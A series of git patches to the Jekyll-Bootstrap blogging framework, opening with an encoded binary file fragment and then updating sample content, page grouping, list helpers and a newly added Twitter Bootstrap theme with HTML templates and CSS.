z#TGLRm={s;@xs(GrDCKdzz=cJ(E^J6E8JkSmJ@@+hn;7T0WQL;YQ{4V-xxshKnMN} z`EQem<m3Gr8cDSX=i0>Rcf>;gl(x0AV^)1y*^XULhAo^BD@x0dJyOD^G?pwyu@q~A z&V(F=J7?+>&8LNhW3#j8uuG$|2T?vogR?F`91-QyUs>ySe#@v#Rk-+jRmGOnExSq3 zifCJ;I%BBl&tqZo;B-3LE`z6RFg8?c%di^_uwzd%p1M-bza@c2o_><_n;Ut0_@*4q zxH|aZ5(|`CgW5KBPfh8+ammS&be~UWV4_b@?{ZklC$C3I<e3o8upRoMOJl2;SXi9o z<NSOB#H-_v2F%#~14yW&U^()c6XGHw-1`DiOBaF?==4?;g2fG>muskIKGMP~xYP{x z|7$lpCQ9uugfRYoxoqPa7x_dv2ws3u_AKn|e@hnOc`&{3<F~+*OYO<bxOdMIUF1S~ z0>*^A_m1vn>~kS`wu@;lux$%12#%7=81r@X-IMpsgO^REy+w>`%l5-12AI^cO8hI1 z8Lrt;_kQQ^lKn`_?J%_YfpAq7o_7fKg0R$@%QZJQy0RezA3(iKEvqaNaAzDx>%59I z7S<zZYk$1JZr1JT?1Y2_HPz3u^bZ`?8Ai|twf(Tghpef~=HlmX48)7USWL!|POz%0 zueYHhtz>OTF&3BH;7v1}iN;D_&Ti&&5l1jbcnCs0*#JB`1ig8ql&YN{HXiKNTJ-Bz zoI}8>KRi5q7hZ5=WeLH52IiCCzC<dX`Bs_QOl>_RFACe01cA={8633lbe7i*N^pG? z&lA5@+oH_p@tcfIbcU%`q7I1AN#KP82ozl-2FAu)vFjE0-}YxF?%Cf(WDMju@>Yu$ za9sIEEp_1um)`Gq+V(?^t`c2p1fmO_^sc8xMUiZbJ^9xAN$RtGB=zCLZDa6JxQNfs zyr;VycGh;Eerk==cn`qlJl;^_Ih1_XvTn))t3HkZm0$T>%Qknse?LZ<>IhkFWbhPM zz_Yq`bN9bnC3q<TYwB$I<Uq9M4p>`0VCiiTWb-7gG1H6aoW>mhJ*1HJjkFPjMBRuN z$?@WC7sf}9NFv5%{4GfrdR9D!mF?3{Bht6luU}t}2KnuO9b9=l)M*_4r3f94_)u&K z5!y<-eafds8WeI3sfINyV^T_*O}VOBZ7tH_NVB=7Ne9}5q8c<LL?fngcgitXWOiml zs(pU_JO91&d*Ao_ywCOST_9=`yo>s;$YT<XC!i=o911jo1=WpYeB!<+I$WHb5&}!R z?x~Y$B=MPiE#D8w1vIGLKRjOf$&zE)NtzCkFNqz3O%oV?bCpSF@|!tZHT72Q5lZt7 zY~!Me{<g9{FfU%1(03Bo=o!eLl$}0v2=UO0vv8IoC1p(U-&NQ~S~WoetV{jm_xJ?m zW{K+OdADk<(EvjAs3v%s>$0Esvlqh|Y|}rKrq$yJ1CV@rq-dmA6)vbW9mG<F2uQHL zf_0#yzwhIiV0;O|d+?x>v${fuw1bw!$16Q$mF~;7Y${2GB`IOh(35sb4qtvtFbiSD z#PV0{v-Pokq~pl*FTUa})TC0l@h{LXXJphtBGCDspZ5oo3n8_KMeKoouXN<`J<wjb ziw##U-54Q60>XUv&Ycl<ks%1{$}nRSy|SFoEs(l9kxnx&Z|`f76__6ta`6sr0)<e& zkNg|jz=-bGwLwc+Z1m^J$-BVcN#GgM1j8N{`c&-XgOH_bW@~H?EJQkz(#(!ICxd)t zwZ0{&I05O48-U}=1bn=v3h_fu<345L`$`Uxl}zc!oT_<XZY-~DI~N4TP@SjVxCRN{ zfAZJ!w~P?N;0u(22|kQo74@mxe>#DSOAKN#4;05?_%}}g0+qL}k8za%znzvyB#i7v z8$EE6gP3n469(B^vfOVvaeMKQY66JnqiVqK{(hgp7bOIlVoG1NU*%EdLc(s71D>@8 zeV7My6#|rhdu@>uPmfSpu!K1#mA=FH3!dgifhuteX!bw$I>g=CSquN_Q*7F>*?G&3 zl%PtCn<-+sGgJL1^eMI(&=iwAY^O{iSZ-KUZqkJl8x?TRmE+>JBR4l@*g`2GY&5^1 zK(=vh6`*1e=;Hj+(zGe`?Qpr=<uN`+c5cmAUtsH<0r|}k)Z1%NYOy2{eyIqHY@MN_ z@S@aCV&d;0(I)0Ev(3r{{KI4_w(!2ukSFDJ;oMI_b=1B2(!yZAN;E=X$Bj$OUAci~ z8h}?th6V;<vp9MIaWtc=(^bheg|H^DI4-9<Iy*z>tEtgc%^a$~$z<&ImKGy0=X(g@ z`v`qS-z<Q^0kDPYG#bstqdm9k`RGxrz0FxE@QDv^m$@+ka0GVLrtosViqWzjeL_Cc z;jz>@=nrJFycuA+NPlk)daq1-X~{rxLv1v?lETI<?K9(ws-_F5G7lmGuZdzlpK843 z3Dm`COz<X=$jA2UWU#VAp-|x&+;R3|=e3aBsw$^(S9fIge^DZoZX&A}y1}G<F6vCJ zE3;mT#hpMl*I^plv8HO0-<|;U{tyOl;+ByVQmiz1VVPj;QPan+y}8f6*8u@U#t-)Q zC&KH#8O<5eVg2LOWa<@YgV*cOY7l}`+|Awqk##xNa+SHeH@Nk;qGUrGFM@;peVxY> zE`dV<6`aoei>oG7v5AFQAQVR5RA!P%AY>v^HoaX7LaG&wo@Ig=%+iwcF{fq=@on?k zVv+n97VJe;m9Hb5l$7=m!RyslNj0X<si2)N<xE8qWN=T3yuus+n=?{Us_~~cf=moS zHD)PHes+xV@E@>wbA}!c<}4~Z&}AI{>H*EHst~k|=LZMgXIDuZeQEL`+yzV&r)jS2 zb1BF)r7`dO#{L)pA<;J*MjIvh<CL`>_)5x|qJj5^NQMLCkNCs0YroWBnJ)p2bnR9& zwho^6jMw0e$-%?R=j`t$G+ol!jGqOAIkC)m#l@!X(W8DjQN3zUQ1BvJeK|~%K)SDX z9B5dZfFmgOb|mg^32O$<HZBh3N!c^=OXN<c!;U=zCN)&oOq0HQZW3H++QcOWzi?qA zM9jfft&?9Amv7G%YjH&V>|$J)iANdf^A_vqFpb{Wd;Lm0dOZ~r79O6V&~o(ubE2+p z+rfH}BFmy{1FNP63|3fK6~0I?x3NbIsi1=;>6Sm$3%IMth}udAjoSl>oK#77HGd;& XCp01&hKWz;$R(T|-5u^w1LOY(sq}}P literal 0 HcmV?d00001 From ab03c6dd45635bd8ac967c844da0efe145cfce4d Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 12 Jan 2012 12:47:58 -0800 Subject: [PATCH 006/144] sample content updates --- .../core-samples/helpers/2011-9-27-posts-collate.md | 2 +- .../usage/2011-10-28-deployment-and-hosting.md | 2 +- .../usage/2011-10-31-jekyll-quick-start.md | 13 ++++++------- index.md | 2 +- sitemap.txt | 1 + 5 files changed, 10 insertions(+), 10 deletions(-) diff --git a/_posts/core-samples/helpers/2011-9-27-posts-collate.md b/_posts/core-samples/helpers/2011-9-27-posts-collate.md index 299f6cb..1740bd7 100644 --- a/_posts/core-samples/helpers/2011-9-27-posts-collate.md +++ b/_posts/core-samples/helpers/2011-9-27-posts-collate.md @@ -4,7 +4,7 @@ categories : helpers --- The posts collate helper organizes and lists posts in month/year clusters. -The posts collate helper follows the [Jekyll-bootstrap include helper](/lessons/bootstrap-api.html) strategy. +The posts collate helper follows the [Jekyll-bootstrap include helper](/api/bootstrap-api.html) strategy. ## Usage diff --git a/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md b/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md index 64bb0b4..638ff25 100644 --- a/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md +++ b/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md @@ -1,5 +1,5 @@ --- -layout: page +layout: post categories : usage --- diff --git a/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md b/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md index e09e07c..516e6ed 100644 --- a/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md +++ b/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md @@ -4,10 +4,10 @@ categories : usage --- -## 1. Install Jekyll-Bootstrap-Core +## 1. Install Jekyll-Bootstrap -[Install Jekyll-Bootsrap-Core](/index.html#start-now) if you haven't already. -Jekyll-bootstrap-core is a clean base framework for your blog. +[Install Jekyll-Bootsrap](/index.html#start-now) if you haven't already. +Jekyll-bootstrap is a clean base framework for your blog. It includes two themes, some useful pages, and bootstrap include-helpers. ## 2. Run Jekyll Locally @@ -19,7 +19,7 @@ In order to preview your blog locally you'll need to install the jekyll gem. Not If you run into a problem please consult the original [Jekyll installation documentation](https://github.com/mojombo/jekyll/wiki/Install). You can also [contact me](http://github.com/plusjade) through github. -Once the gem is installed you can navigate to your Jekyll-bootstrap-core directory +Once the gem is installed you can navigate to your Jekyll-bootstrap directory and run jekyll: $ cd jekyll-bootstrap @@ -30,7 +30,7 @@ Your blog is now available at: [http://localhost:4000/](http://localhost:4000/). ## 2. Choose a Theme -Jekyll-bootstrap-core has a basic theming system that I'll be steadily improving. +Jekyll-bootstrap has a basic theming system that I'll be steadily improving. You can read about how to choose and customize a theme in the [Theming](/usages/theming.html) section. ## 3. Create Some Content @@ -50,7 +50,6 @@ You can study the source and customize it for your own needs. <ul> {% assign pages_list = site.pages %} -{% assign group = "example-page" %} {% include helpers/pages_list.html %} </ul> @@ -63,7 +62,7 @@ A GitHub post-commit hook will automatically deploy your changes to your hosted ## 5. Customize -Jekyll-bootstrap-core can be used as-is as a basic blogging platform with little need +Jekyll-bootstrap can be used as-is as a basic blogging platform with little need to understand what's going on under the hood. However I'm betting you want to get your hands dirty. diff --git a/index.md b/index.md index 14f94fe..03f605c 100644 --- a/index.md +++ b/index.md @@ -1,6 +1,6 @@ --- layout: page -title: Hello from Jekyll-Bootstrap-Core +title: Hello from Jekyll-Bootstrap header: This is Jekyll-Bootstrap --- diff --git a/sitemap.txt b/sitemap.txt index 59367c5..25c568f 100644 --- a/sitemap.txt +++ b/sitemap.txt @@ -1,5 +1,6 @@ --- # Remember to set production_url in your _config.yml file! +title : Sitemap --- {% for page in site.pages %} {{site.production_url}}{{ page.url }}{% endfor %} From 3b239b9cc4b2a9205d7bf0307ac412d336ec2309 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 12 Jan 2012 12:50:03 -0800 Subject: [PATCH 007/144] specify page group 'navigation' Also clean out pages.html and just list all pages --- archive.html | 2 +- categories.html | 2 +- pages.html | 15 ++------------- tags.html | 2 +- 4 files changed, 5 insertions(+), 16 deletions(-) diff --git a/archive.html b/archive.html index 3e622e7..625253f 100644 --- a/archive.html +++ b/archive.html @@ -2,7 +2,7 @@ layout: page title : Archive header : Post Archive -group: example-page +group: navigation --- {% assign posts_collate = site.posts %} diff --git a/categories.html b/categories.html index 529a345..a5ed9f8 100644 --- a/categories.html +++ b/categories.html @@ -2,7 +2,7 @@ layout: page title: Categories header: Posts By Category -group: example-page +group: navigation --- <ul class="tag_box inline"> diff --git a/pages.html b/pages.html index 91c6c96..e78e08c 100644 --- a/pages.html +++ b/pages.html @@ -2,20 +2,9 @@ layout: page title: Pages header: Pages -group: example-page +group: navigation --- <h2>All Pages</h2> {% assign pages_list = site.pages %} -{% include helpers/pages_list.html %} - - -<h2>Pages in group: project</h2> -{% assign pages_list = site.pages %} -{% assign group = 'project' %} -{% include helpers/pages_list.html %} - -<h2>Pages in group: example-page</h2> -{% assign pages_list = site.pages %} -{% assign group = 'example-page' %} -{% include helpers/pages_list.html %} +{% include helpers/pages_list.html %} \ No newline at end of file diff --git a/tags.html b/tags.html index fa36a9c..0447695 100644 --- a/tags.html +++ b/tags.html @@ -2,7 +2,7 @@ layout: page title: Tags header: Posts By Tag -group: example-page +group: navigation --- <ul class="tag_box inline"> From 2e16fad591d1808f5f89d7b584be8b99f2015434 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 12 Jan 2012 12:50:49 -0800 Subject: [PATCH 008/144] add little arrow to collated list --- _includes/helpers/posts_collate.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_includes/helpers/posts_collate.html b/_includes/helpers/posts_collate.html index 7e55554..210bd03 100644 --- a/_includes/helpers/posts_collate.html +++ b/_includes/helpers/posts_collate.html @@ -29,7 +29,7 @@ <h3>{{this_month}}</h3> <ul> {% endif %} - <li><span>{{ post.date | date: "%B %e, %Y" }}</span> <a href="{{ post.url }}">{{ post.title }}</a></li> + <li><span>{{ post.date | date: "%B %e, %Y" }}</span> » <a href="{{ post.url }}">{{ post.title }}</a></li> {% if forloop.last %} </ul> From 46c738ce71db42202c34523b1d2b18da95c303a8 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 12 Jan 2012 12:51:35 -0800 Subject: [PATCH 009/144] assign active class to li --- _includes/helpers/pages_list.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_includes/helpers/pages_list.html b/_includes/helpers/pages_list.html index 44c5279..0e42820 100644 --- a/_includes/helpers/pages_list.html +++ b/_includes/helpers/pages_list.html @@ -25,7 +25,7 @@ {% if group == null or group == node.group %} {% if page.url == node.url %} - <li><a href="{{node.url}}" class="active">{{node.title}}</a></li> + <li class="active"><a href="{{node.url}}" class="active">{{node.title}}</a></li> {% else %} <li><a href="{{node.url}}">{{node.title}}</a></li> {% endif %} From 3a6ba2d1db62185d2756c23fee0ad20301c2338b Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 12 Jan 2012 12:53:23 -0800 Subject: [PATCH 010/144] add twitter bootstrap theme --- _includes/themes/twitter/default.html | 58 +++ _includes/themes/twitter/page.html | 9 + _includes/themes/twitter/post.html | 38 ++ assets/themes/twitter/css/1.4.0/bootstrap.css | 356 ++++++++++++++++++ assets/themes/twitter/css/style.css | 71 ++++ 5 files changed, 532 insertions(+) create mode 100644 _includes/themes/twitter/default.html create mode 100644 _includes/themes/twitter/page.html create mode 100644 _includes/themes/twitter/post.html create mode 100644 assets/themes/twitter/css/1.4.0/bootstrap.css create mode 100644 assets/themes/twitter/css/style.css diff --git a/_includes/themes/twitter/default.html b/_includes/themes/twitter/default.html new file mode 100644 index 0000000..d149bd5 --- /dev/null +++ b/_includes/themes/twitter/default.html @@ -0,0 +1,58 @@ +<!DOCTYPE html> +<html lang="en"> + <head> + <meta charset="utf-8"> + <title>{{ page.title }}</title> + {% if page.description %}<meta name="description" content="{{ page.description }}">{% endif %} + <meta name="author" content="{{ site.author.name }}"> + + <!-- Le HTML5 shim, for IE6-8 support of HTML elements --> + <!--[if lt IE 9]> + <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> + <![endif]--> + + <!-- Le styles --> + <link href="{{ theme_asset_path }}/css/1.4.0/bootstrap.css" rel="stylesheet"> + <link href="{{ theme_asset_path }}/css/style.css?body=1" rel="stylesheet" type="text/css" media="all"> + + <!-- Le fav and touch icons --> + <!-- Update these with your own images + <link rel="shortcut icon" href="images/favicon.ico"> + <link rel="apple-touch-icon" href="images/apple-touch-icon.png"> + <link rel="apple-touch-icon" sizes="72x72" href="images/apple-touch-icon-72x72.png"> + <link rel="apple-touch-icon" sizes="114x114" href="images/apple-touch-icon-114x114.png"> + --> + </head> + + <body> + + <div class="topbar"> + <div class="fill"> + <div class="container"> + <a class="brand" href="/">{{ site.title }}</a> + <ul class="nav"> + {% assign pages_list = site.pages %} + {% assign group = 'navigation' %} + {% include helpers/pages_list.html %} + </ul> + </div> + </div> + </div> + + <div class="container"> + + <div class="content"> + {{ content }} + </div> + + <footer> + <p>© {{ site.author.name }} 2012 + with help from <a href="http://jekyllbootstrap.com" target="_blank" title="The Definitive Jekyll Blogging Framework">Jekyll Bootstrap</a> + and <a href="http://twitter.github.com/bootstrap/" target="_blank">Twitter Bootstrap</a> + </p> + </footer> + + </div> <!-- /container --> + + </body> +</html> diff --git a/_includes/themes/twitter/page.html b/_includes/themes/twitter/page.html new file mode 100644 index 0000000..7ac6fab --- /dev/null +++ b/_includes/themes/twitter/page.html @@ -0,0 +1,9 @@ +<div class="page-header"> + <h1>{{ page.title }} <small>Supporting tagline</small></h1> +</div> + +<div class="row"> + <div class="span14"> + {{ content }} + </div> +</div> diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html new file mode 100644 index 0000000..81b0931 --- /dev/null +++ b/_includes/themes/twitter/post.html @@ -0,0 +1,38 @@ +<div class="page-header"> + <h1>{{ page.title }} <small>Supporting tagline</small></h1> +</div> + +<div class="row"> + <div class="span10"> + {{ content }} + <hr> + <div class="pagination"> + <ul> + {% if page.previous %} + <li class="prev"><a href="{{ page.previous.url }}" title="{{ page.previous.title }}">← Previous</a></li> + {% else %} + <li class="prev disabled"><a>← Previous</a></li> + {% endif %} + <li><a href="/archive.html">Archive</a></li> + {% if page.next %} + <li class="next"><a href="{{ page.next.url }}" title="{{ page.next.title }}">Next →</a></li> + {% else %} + <li class="next disabled"><a>Next →</a> + {% endif %} + </ul> + </div> + </div> + + <div class="span4"> + <h4>Published</h4> + <div class="date"><span>{{ page.date | date_to_long_string }}</span></div> + + {% unless page.tags == empty %} + <h4>Tags</h4> + <ul class="tag_box"> + {% assign tags_list = page.tags %} + {% include helpers/tags_list.html %} + </ul> + {% endunless %} + </div> +</div> diff --git a/assets/themes/twitter/css/1.4.0/bootstrap.css b/assets/themes/twitter/css/1.4.0/bootstrap.css new file mode 100644 index 0000000..a43fcf7 --- /dev/null +++ b/assets/themes/twitter/css/1.4.0/bootstrap.css @@ -0,0 +1,356 @@ +html,body{margin:0;padding:0;} +h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,cite,code,del,dfn,em,img,q,s,samp,small,strike,strong,sub,sup,tt,var,dd,dl,dt,li,ol,ul,fieldset,form,label,legend,button,table,caption,tbody,tfoot,thead,tr,th,td{margin:0;padding:0;border:0;font-weight:normal;font-style:normal;font-size:100%;line-height:1;font-family:inherit;} +table{border-collapse:collapse;border-spacing:0;} +ol,ul{list-style:none;} +q:before,q:after,blockquote:before,blockquote:after{content:"";} +html{overflow-y:scroll;font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;} +a:focus{outline:thin dotted;} +a:hover,a:active{outline:0;} +article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block;} +audio,canvas,video{display:inline-block;*display:inline;*zoom:1;} +audio:not([controls]){display:none;} +sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline;} +sup{top:-0.5em;} +sub{bottom:-0.25em;} +img{border:0;-ms-interpolation-mode:bicubic;} +button,input,select,textarea{font-size:100%;margin:0;vertical-align:baseline;*vertical-align:middle;} +button,input{line-height:normal;*overflow:visible;} +button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0;} +button,input[type="button"],input[type="reset"],input[type="submit"]{cursor:pointer;-webkit-appearance:button;} +input[type="search"]{-webkit-appearance:textfield;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;} +input[type="search"]::-webkit-search-decoration{-webkit-appearance:none;} +textarea{overflow:auto;vertical-align:top;} +body{background-color:#ffffff;margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:18px;color:#404040;} +.container{width:940px;margin-left:auto;margin-right:auto;zoom:1;}.container:before,.container:after{display:table;content:"";zoom:1;} +.container:after{clear:both;} +.container-fluid{position:relative;min-width:940px;padding-left:20px;padding-right:20px;zoom:1;}.container-fluid:before,.container-fluid:after{display:table;content:"";zoom:1;} +.container-fluid:after{clear:both;} +.container-fluid>.sidebar{position:absolute;top:0;left:20px;width:220px;} +.container-fluid>.content{margin-left:240px;} +a{color:#0069d6;text-decoration:none;line-height:inherit;font-weight:inherit;}a:hover{color:#00438a;text-decoration:underline;} +.pull-right{float:right;} +.pull-left{float:left;} +.hide{display:none;} +.show{display:block;} +.row{zoom:1;margin-left:-20px;}.row:before,.row:after{display:table;content:"";zoom:1;} +.row:after{clear:both;} +.row>[class*="span"]{display:inline;float:left;margin-left:20px;} +.span1{width:40px;} +.span2{width:100px;} +.span3{width:160px;} +.span4{width:220px;} +.span5{width:280px;} +.span6{width:340px;} +.span7{width:400px;} +.span8{width:460px;} +.span9{width:520px;} +.span10{width:580px;} +.span11{width:640px;} +.span12{width:700px;} +.span13{width:760px;} +.span14{width:820px;} +.span15{width:880px;} +.span16{width:940px;} +.span17{width:1000px;} +.span18{width:1060px;} +.span19{width:1120px;} +.span20{width:1180px;} +.span21{width:1240px;} +.span22{width:1300px;} +.span23{width:1360px;} +.span24{width:1420px;} +.row>.offset1{margin-left:80px;} +.row>.offset2{margin-left:140px;} +.row>.offset3{margin-left:200px;} +.row>.offset4{margin-left:260px;} +.row>.offset5{margin-left:320px;} +.row>.offset6{margin-left:380px;} +.row>.offset7{margin-left:440px;} +.row>.offset8{margin-left:500px;} +.row>.offset9{margin-left:560px;} +.row>.offset10{margin-left:620px;} +.row>.offset11{margin-left:680px;} +.row>.offset12{margin-left:740px;} +.span-one-third{width:300px;} +.span-two-thirds{width:620px;} +.row>.offset-one-third{margin-left:340px;} +.row>.offset-two-thirds{margin-left:660px;} +p{font-size:13px;font-weight:normal;line-height:18px;margin-bottom:9px;}p small{font-size:11px;color:#bfbfbf;} +h1,h2,h3,h4,h5,h6{font-weight:bold;color:#404040;}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small{color:#bfbfbf;} +h1{margin-bottom:18px;font-size:30px;line-height:36px;}h1 small{font-size:18px;} +h2{font-size:24px;line-height:36px;}h2 small{font-size:14px;} +h3,h4,h5,h6{line-height:36px;} +h3{font-size:18px;}h3 small{font-size:14px;} +h4{font-size:16px;}h4 small{font-size:12px;} +h5{font-size:14px;} +h6{font-size:13px;color:#bfbfbf;text-transform:uppercase;} +ul,ol{margin:0 0 18px 25px;} +ul ul,ul ol,ol ol,ol ul{margin-bottom:0;} +ul{list-style:disc;} +ol{list-style:decimal;} +li{line-height:18px;color:#808080;} +ul.unstyled{list-style:none;margin-left:0;} +dl{margin-bottom:18px;}dl dt,dl dd{line-height:18px;} +dl dt{font-weight:bold;} +dl dd{margin-left:9px;} +hr{margin:20px 0 19px;border:0;border-bottom:1px solid #eee;} +strong{font-style:inherit;font-weight:bold;} +em{font-style:italic;font-weight:inherit;line-height:inherit;} +.muted{color:#bfbfbf;} +blockquote{margin-bottom:18px;border-left:5px solid #eee;padding-left:15px;}blockquote p{font-size:14px;font-weight:300;line-height:18px;margin-bottom:0;} +blockquote small{display:block;font-size:12px;font-weight:300;line-height:18px;color:#bfbfbf;}blockquote small:before{content:'\2014 \00A0';} +address{display:block;line-height:18px;margin-bottom:18px;} +code,pre{padding:0 3px 2px;font-family:Monaco, Andale Mono, Courier New, monospace;font-size:12px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} +code{background-color:#fee9cc;color:rgba(0, 0, 0, 0.75);padding:1px 3px;} +pre{background-color:#f5f5f5;display:block;padding:8.5px;margin:0 0 18px;line-height:18px;font-size:12px;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.15);-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;white-space:pre;white-space:pre-wrap;word-wrap:break-word;} +form{margin-bottom:18px;} +fieldset{margin-bottom:18px;padding-top:18px;}fieldset legend{display:block;padding-left:150px;font-size:19.5px;line-height:1;color:#404040;*padding:0 0 5px 145px;*line-height:1.5;} +form .clearfix{margin-bottom:18px;zoom:1;}form .clearfix:before,form .clearfix:after{display:table;content:"";zoom:1;} +form .clearfix:after{clear:both;} +label,input,select,textarea{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:normal;} +label{padding-top:6px;font-size:13px;line-height:18px;float:left;width:130px;text-align:right;color:#404040;} +form .input{margin-left:150px;} +input[type=checkbox],input[type=radio]{cursor:pointer;} +input,textarea,select,.uneditable-input{display:inline-block;width:210px;height:18px;padding:4px;font-size:13px;line-height:18px;color:#808080;border:1px solid #ccc;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} +select{padding:initial;} +input[type=checkbox],input[type=radio]{width:auto;height:auto;padding:0;margin:3px 0;*margin-top:0;line-height:normal;border:none;} +input[type=file]{background-color:#ffffff;padding:initial;border:initial;line-height:initial;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} +input[type=button],input[type=reset],input[type=submit]{width:auto;height:auto;} +select,input[type=file]{height:27px;*height:auto;line-height:27px;*margin-top:4px;} +select[multiple]{height:inherit;background-color:#ffffff;} +textarea{height:auto;} +.uneditable-input{background-color:#ffffff;display:block;border-color:#eee;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);cursor:not-allowed;} +:-moz-placeholder{color:#bfbfbf;} +::-webkit-input-placeholder{color:#bfbfbf;} +input,textarea{-webkit-transition:border linear 0.2s,box-shadow linear 0.2s;-moz-transition:border linear 0.2s,box-shadow linear 0.2s;-ms-transition:border linear 0.2s,box-shadow linear 0.2s;-o-transition:border linear 0.2s,box-shadow linear 0.2s;transition:border linear 0.2s,box-shadow linear 0.2s;-webkit-box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1);-moz-box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1);box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1);} +input:focus,textarea:focus{outline:0;border-color:rgba(82, 168, 236, 0.8);-webkit-box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1),0 0 8px rgba(82, 168, 236, 0.6);-moz-box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1),0 0 8px rgba(82, 168, 236, 0.6);box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1),0 0 8px rgba(82, 168, 236, 0.6);} +input[type=file]:focus,input[type=checkbox]:focus,select:focus{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;outline:1px dotted #666;} +form .clearfix.error>label,form .clearfix.error .help-block,form .clearfix.error .help-inline{color:#b94a48;} +form .clearfix.error input,form .clearfix.error textarea{color:#b94a48;border-color:#ee5f5b;}form .clearfix.error input:focus,form .clearfix.error textarea:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7;} +form .clearfix.error .input-prepend .add-on,form .clearfix.error .input-append .add-on{color:#b94a48;background-color:#fce6e6;border-color:#b94a48;} +form .clearfix.warning>label,form .clearfix.warning .help-block,form .clearfix.warning .help-inline{color:#c09853;} +form .clearfix.warning input,form .clearfix.warning textarea{color:#c09853;border-color:#ccae64;}form .clearfix.warning input:focus,form .clearfix.warning textarea:focus{border-color:#be9a3f;-webkit-box-shadow:0 0 6px #e5d6b1;-moz-box-shadow:0 0 6px #e5d6b1;box-shadow:0 0 6px #e5d6b1;} +form .clearfix.warning .input-prepend .add-on,form .clearfix.warning .input-append .add-on{color:#c09853;background-color:#d2b877;border-color:#c09853;} +form .clearfix.success>label,form .clearfix.success .help-block,form .clearfix.success .help-inline{color:#468847;} +form .clearfix.success input,form .clearfix.success textarea{color:#468847;border-color:#57a957;}form .clearfix.success input:focus,form .clearfix.success textarea:focus{border-color:#458845;-webkit-box-shadow:0 0 6px #9acc9a;-moz-box-shadow:0 0 6px #9acc9a;box-shadow:0 0 6px #9acc9a;} +form .clearfix.success .input-prepend .add-on,form .clearfix.success .input-append .add-on{color:#468847;background-color:#bcddbc;border-color:#468847;} +.input-mini,input.mini,textarea.mini,select.mini{width:60px;} +.input-small,input.small,textarea.small,select.small{width:90px;} +.input-medium,input.medium,textarea.medium,select.medium{width:150px;} +.input-large,input.large,textarea.large,select.large{width:210px;} +.input-xlarge,input.xlarge,textarea.xlarge,select.xlarge{width:270px;} +.input-xxlarge,input.xxlarge,textarea.xxlarge,select.xxlarge{width:530px;} +textarea.xxlarge{overflow-y:auto;} +input.span1,textarea.span1{display:inline-block;float:none;width:30px;margin-left:0;} +input.span2,textarea.span2{display:inline-block;float:none;width:90px;margin-left:0;} +input.span3,textarea.span3{display:inline-block;float:none;width:150px;margin-left:0;} +input.span4,textarea.span4{display:inline-block;float:none;width:210px;margin-left:0;} +input.span5,textarea.span5{display:inline-block;float:none;width:270px;margin-left:0;} +input.span6,textarea.span6{display:inline-block;float:none;width:330px;margin-left:0;} +input.span7,textarea.span7{display:inline-block;float:none;width:390px;margin-left:0;} +input.span8,textarea.span8{display:inline-block;float:none;width:450px;margin-left:0;} +input.span9,textarea.span9{display:inline-block;float:none;width:510px;margin-left:0;} +input.span10,textarea.span10{display:inline-block;float:none;width:570px;margin-left:0;} +input.span11,textarea.span11{display:inline-block;float:none;width:630px;margin-left:0;} +input.span12,textarea.span12{display:inline-block;float:none;width:690px;margin-left:0;} +input.span13,textarea.span13{display:inline-block;float:none;width:750px;margin-left:0;} +input.span14,textarea.span14{display:inline-block;float:none;width:810px;margin-left:0;} +input.span15,textarea.span15{display:inline-block;float:none;width:870px;margin-left:0;} +input.span16,textarea.span16{display:inline-block;float:none;width:930px;margin-left:0;} +input[disabled],select[disabled],textarea[disabled],input[readonly],select[readonly],textarea[readonly]{background-color:#f5f5f5;border-color:#ddd;cursor:not-allowed;} +.actions{background:#f5f5f5;margin-top:18px;margin-bottom:18px;padding:17px 20px 18px 150px;border-top:1px solid #ddd;-webkit-border-radius:0 0 3px 3px;-moz-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px;}.actions .secondary-action{float:right;}.actions .secondary-action a{line-height:30px;}.actions .secondary-action a:hover{text-decoration:underline;} +.help-inline,.help-block{font-size:13px;line-height:18px;color:#bfbfbf;} 